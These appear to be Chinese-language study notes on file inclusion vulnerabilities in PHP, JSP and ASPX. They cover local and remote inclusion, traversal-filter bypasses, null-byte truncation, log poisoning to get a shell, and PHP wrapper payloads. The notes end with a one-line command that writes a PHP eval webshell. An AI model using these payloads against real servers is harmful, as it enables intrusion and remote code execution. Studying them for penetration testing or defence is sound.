文件包含

开发者在开发的过程中,会将可以重复利用的函数或者代码块写入到单个文件当中,当需要实现某些功能,直接调用对应功能的文件即可,无需重复编写,这种调用文件的过程称之为文件包含

文件包含函数

PHP文件包含函数

include() include_once() require() require_once() fopen() readfile()

JSP文件包含函数

java.io.file() java.io.filereader() include()
动态包含只支持包含web路径下的jsp文件

aspx文件包含函数

include file() include virtual()
aspx和asp均不支持动态包含

无论被包含文件后缀是什么,均会以php的方式进行解析

动态包含和静态包含

文件包含漏洞

1、包含函数时必须使用动态包含的方式
2、对于包含函数的文件没有做详细的过滤和检查

include.php
include(upload.php)

本地文件包含(LFI)

通过本地文件包含实现文件内容读取
../==..-->..././
添加后缀的形式--%00截断

通过将一句话木马保存到日志文件中,包含日志文件getshell
/var/log/apache2/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log

远程文件包含(RFI)

代码注入的一种,通过包含的方式远程注入恶意代码在目标服务器上解析执行
前提条件
allow_url_fopen ON
allow_url_include ON
包含的变量前没有前置目录的限制
远程包含文件路径必须为绝对路径

临时启动http服务--网页根目录为启动cmd的目录
python3 -m http.server 8000
python2 -m SimpleHTTPServer 8000

伪协议

http://
ftp://
php://filter/read=convert.base64-encode/resource=
php://input
phar://压缩包路径/压缩包内的实际文件名称
zip://压缩包路径,压缩包后缀为zip#文件名称
data://text/plain,<?php phpinfo();?>
data://text/plain,base64,PD9waHAgcGhwaW5mbygpOz8+

fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');